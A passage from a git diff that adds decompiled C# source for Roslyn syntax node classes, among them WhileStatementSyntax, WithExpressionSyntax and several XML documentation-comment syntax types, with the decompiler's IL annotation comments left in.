internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref condition, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)condition; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWhereClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWhereClause(this); + } + + public WhereClauseSyntax Update(SyntaxToken whereKeyword, ExpressionSyntax condition) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (whereKeyword != WhereKeyword || condition != Condition) + { + WhereClauseSyntax whereClauseSyntax = SyntaxFactory.WhereClause(whereKeyword, condition); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return whereClauseSyntax; + } + return whereClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public WhereClauseSyntax WithWhereKeyword(SyntaxToken whereKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(whereKeyword, Condition); + } + + public WhereClauseSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(WhereKeyword, condition); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhileStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhileStatementSyntax.cs new file mode 100644 index 0000000..8f2d7e7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WhileStatementSyntax.cs @@ -0,0 +1,171 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class WhileStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? condition; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken WhileKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WhileStatementSyntax)(object)((SyntaxNode)this).Green).whileKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WhileStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax Condition => ((SyntaxNode)this).GetRed(ref condition, 3); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WhileStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 5); + + public WhileStatementSyntax Update(SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, whileKeyword, openParenToken, condition, closeParenToken, statement); + } + + internal WhileStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref condition, 3), + 5 => ((SyntaxNode)this).GetRed(ref statement, 5), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => condition, + 5 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWhileStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWhileStatement(this); + } + + public WhileStatementSyntax Update(SyntaxList attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || whileKeyword != WhileKeyword || openParenToken != OpenParenToken || condition != Condition || closeParenToken != CloseParenToken || statement != Statement) + { + WhileStatementSyntax whileStatementSyntax = SyntaxFactory.WhileStatement(attributeLists, whileKeyword, openParenToken, condition, closeParenToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return whileStatementSyntax; + } + return whileStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new WhileStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, WhileKeyword, OpenParenToken, Condition, CloseParenToken, Statement); + } + + public WhileStatementSyntax WithWhileKeyword(SyntaxToken whileKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, whileKeyword, OpenParenToken, Condition, CloseParenToken, Statement); + } + + public WhileStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, WhileKeyword, openParenToken, Condition, CloseParenToken, Statement); + } + + public WhileStatementSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, WhileKeyword, OpenParenToken, condition, CloseParenToken, Statement); + } + + public WhileStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, WhileKeyword, OpenParenToken, Condition, closeParenToken, Statement); + } + + public WhileStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, WhileKeyword, OpenParenToken, Condition, CloseParenToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new WhileStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WithExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WithExpressionSyntax.cs new file mode 100644 index 0000000..9847ef8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/WithExpressionSyntax.cs @@ -0,0 +1,96 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class WithExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + private InitializerExpressionSyntax? initializer; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public SyntaxToken WithKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WithExpressionSyntax)(object)((SyntaxNode)this).Green).withKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public InitializerExpressionSyntax Initializer => ((SyntaxNode)this).GetRed(ref initializer, 2); + + internal WithExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref expression), + 2 => ((SyntaxNode)this).GetRed(ref initializer, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => expression, + 2 => initializer, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWithExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWithExpression(this); + } + + public WithExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken withKeyword, InitializerExpressionSyntax initializer) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (expression != Expression || withKeyword != WithKeyword || initializer != Initializer) + { + WithExpressionSyntax withExpressionSyntax = SyntaxFactory.WithExpression(expression, withKeyword, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return withExpressionSyntax; + } + return withExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public WithExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(expression, WithKeyword, Initializer); + } + + public WithExpressionSyntax WithWithKeyword(SyntaxToken withKeyword) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, withKeyword, Initializer); + } + + public WithExpressionSyntax WithInitializer(InitializerExpressionSyntax initializer) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, WithKeyword, initializer); + } + + public WithExpressionSyntax AddInitializerExpressions(params ExpressionSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithInitializer(Initializer.WithExpressions(Initializer.Expressions.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlAttributeSyntax.cs new file mode 100644 index 0000000..5c7a625 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlAttributeSyntax.cs @@ -0,0 +1,50 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class XmlAttributeSyntax : CSharpSyntaxNode +{ + public abstract XmlNameSyntax Name { get; } + + public abstract SyntaxToken EqualsToken { get; } + + public abstract SyntaxToken StartQuoteToken { get; } + + public abstract SyntaxToken EndQuoteToken { get; } + + internal XmlAttributeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public XmlAttributeSyntax WithName(XmlNameSyntax name) + { + return WithNameCore(name); + } + + internal abstract XmlAttributeSyntax WithNameCore(XmlNameSyntax name); + + public XmlAttributeSyntax WithEqualsToken(SyntaxToken equalsToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEqualsTokenCore(equalsToken); + } + + internal abstract XmlAttributeSyntax WithEqualsTokenCore(SyntaxToken equalsToken); + + public XmlAttributeSyntax WithStartQuoteToken(SyntaxToken startQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithStartQuoteTokenCore(startQuoteToken); + } + + internal abstract XmlAttributeSyntax WithStartQuoteTokenCore(SyntaxToken startQuoteToken); + + public XmlAttributeSyntax WithEndQuoteToken(SyntaxToken endQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndQuoteTokenCore(endQuoteToken); + } + + internal abstract XmlAttributeSyntax WithEndQuoteTokenCore(SyntaxToken endQuoteToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCDataSectionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCDataSectionSyntax.cs new file mode 100644 index 0000000..b143933 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCDataSectionSyntax.cs @@ -0,0 +1,109 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlCDataSectionSyntax : XmlNodeSyntax +{ + public SyntaxToken StartCDataToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlCDataSectionSyntax)(object)((SyntaxNode)this).Green).startCDataToken, ((SyntaxNode)this).Position, 0); + + public SyntaxTokenList TextTokens + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken EndCDataToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlCDataSectionSyntax)(object)((SyntaxNode)this).Green).endCDataToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal XmlCDataSectionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlCDataSection(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlCDataSection(this); + } + + public XmlCDataSectionSyntax Update(SyntaxToken startCDataToken, SyntaxTokenList textTokens, SyntaxToken endCDataToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (startCDataToken != StartCDataToken || textTokens != TextTokens || endCDataToken != EndCDataToken) + { + XmlCDataSectionSyntax xmlCDataSectionSyntax = SyntaxFactory.XmlCDataSection(startCDataToken, textTokens, endCDataToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlCDataSectionSyntax; + } + return xmlCDataSectionSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlCDataSectionSyntax WithStartCDataToken(SyntaxToken startCDataToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(startCDataToken, TextTokens, EndCDataToken); + } + + public XmlCDataSectionSyntax WithTextTokens(SyntaxTokenList textTokens) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(StartCDataToken, textTokens, EndCDataToken); + } + + public XmlCDataSectionSyntax WithEndCDataToken(SyntaxToken endCDataToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(StartCDataToken, TextTokens, endCDataToken); + } + + public XmlCDataSectionSyntax AddTextTokens(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList textTokens = TextTokens; + return WithTextTokens(((SyntaxTokenList)(ref textTokens)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCommentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCommentSyntax.cs new file mode 100644 index 0000000..258e23e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCommentSyntax.cs @@ -0,0 +1,109 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlCommentSyntax : XmlNodeSyntax +{ + public SyntaxToken LessThanExclamationMinusMinusToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlCommentSyntax)(object)((SyntaxNode)this).Green).lessThanExclamationMinusMinusToken, ((SyntaxNode)this).Position, 0); + + public SyntaxTokenList TextTokens + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken MinusMinusGreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlCommentSyntax)(object)((SyntaxNode)this).Green).minusMinusGreaterThanToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal XmlCommentSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlComment(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlComment(this); + } + + public XmlCommentSyntax Update(SyntaxToken lessThanExclamationMinusMinusToken, SyntaxTokenList textTokens, SyntaxToken minusMinusGreaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (lessThanExclamationMinusMinusToken != LessThanExclamationMinusMinusToken || textTokens != TextTokens || minusMinusGreaterThanToken != MinusMinusGreaterThanToken) + { + XmlCommentSyntax xmlCommentSyntax = SyntaxFactory.XmlComment(lessThanExclamationMinusMinusToken, textTokens, minusMinusGreaterThanToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlCommentSyntax; + } + return xmlCommentSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlCommentSyntax WithLessThanExclamationMinusMinusToken(SyntaxToken lessThanExclamationMinusMinusToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(lessThanExclamationMinusMinusToken, TextTokens, MinusMinusGreaterThanToken); + } + + public XmlCommentSyntax WithTextTokens(SyntaxTokenList textTokens) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanExclamationMinusMinusToken, textTokens, MinusMinusGreaterThanToken); + } + + public XmlCommentSyntax WithMinusMinusGreaterThanToken(SyntaxToken minusMinusGreaterThanToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanExclamationMinusMinusToken, TextTokens, minusMinusGreaterThanToken); + } + + public XmlCommentSyntax AddTextTokens(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList textTokens = TextTokens; + return WithTextTokens(((SyntaxTokenList)(ref textTokens)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCrefAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCrefAttributeSyntax.cs new file mode 100644 index 0000000..f912316 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlCrefAttributeSyntax.cs @@ -0,0 +1,142 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlCrefAttributeSyntax : XmlAttributeSyntax +{ + private XmlNameSyntax? name; + + private CrefSyntax? cref; + + public override XmlNameSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public override SyntaxToken EqualsToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlCrefAttributeSyntax)(object)((SyntaxNode)this).Green).equalsToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken StartQuoteToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlCrefAttributeSyntax)(object)((SyntaxNode)this).Green).startQuoteToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public CrefSyntax Cref => ((SyntaxNode)this).GetRed(ref cref, 3); + + public override SyntaxToken EndQuoteToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlCrefAttributeSyntax)(object)((SyntaxNode)this).Green).endQuoteToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + internal XmlCrefAttributeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref name), + 3 => ((SyntaxNode)this).GetRed(ref cref, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => name, + 3 => cref, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlCrefAttribute(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlCrefAttribute(this); + } + + public XmlCrefAttributeSyntax Update(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, CrefSyntax cref, SyntaxToken endQuoteToken) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (name != Name || equalsToken != EqualsToken || startQuoteToken != StartQuoteToken || cref != Cref || endQuoteToken != EndQuoteToken) + { + XmlCrefAttributeSyntax xmlCrefAttributeSyntax = SyntaxFactory.XmlCrefAttribute(name, equalsToken, startQuoteToken, cref, endQuoteToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlCrefAttributeSyntax; + } + return xmlCrefAttributeSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override XmlAttributeSyntax WithNameCore(XmlNameSyntax name) + { + return WithName(name); + } + + public new XmlCrefAttributeSyntax WithName(XmlNameSyntax name) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(name, EqualsToken, StartQuoteToken, Cref, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithEqualsTokenCore(SyntaxToken equalsToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEqualsToken(equalsToken); + } + + public new XmlCrefAttributeSyntax WithEqualsToken(SyntaxToken equalsToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, equalsToken, StartQuoteToken, Cref, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithStartQuoteTokenCore(SyntaxToken startQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithStartQuoteToken(startQuoteToken); + } + + public new XmlCrefAttributeSyntax WithStartQuoteToken(SyntaxToken startQuoteToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, 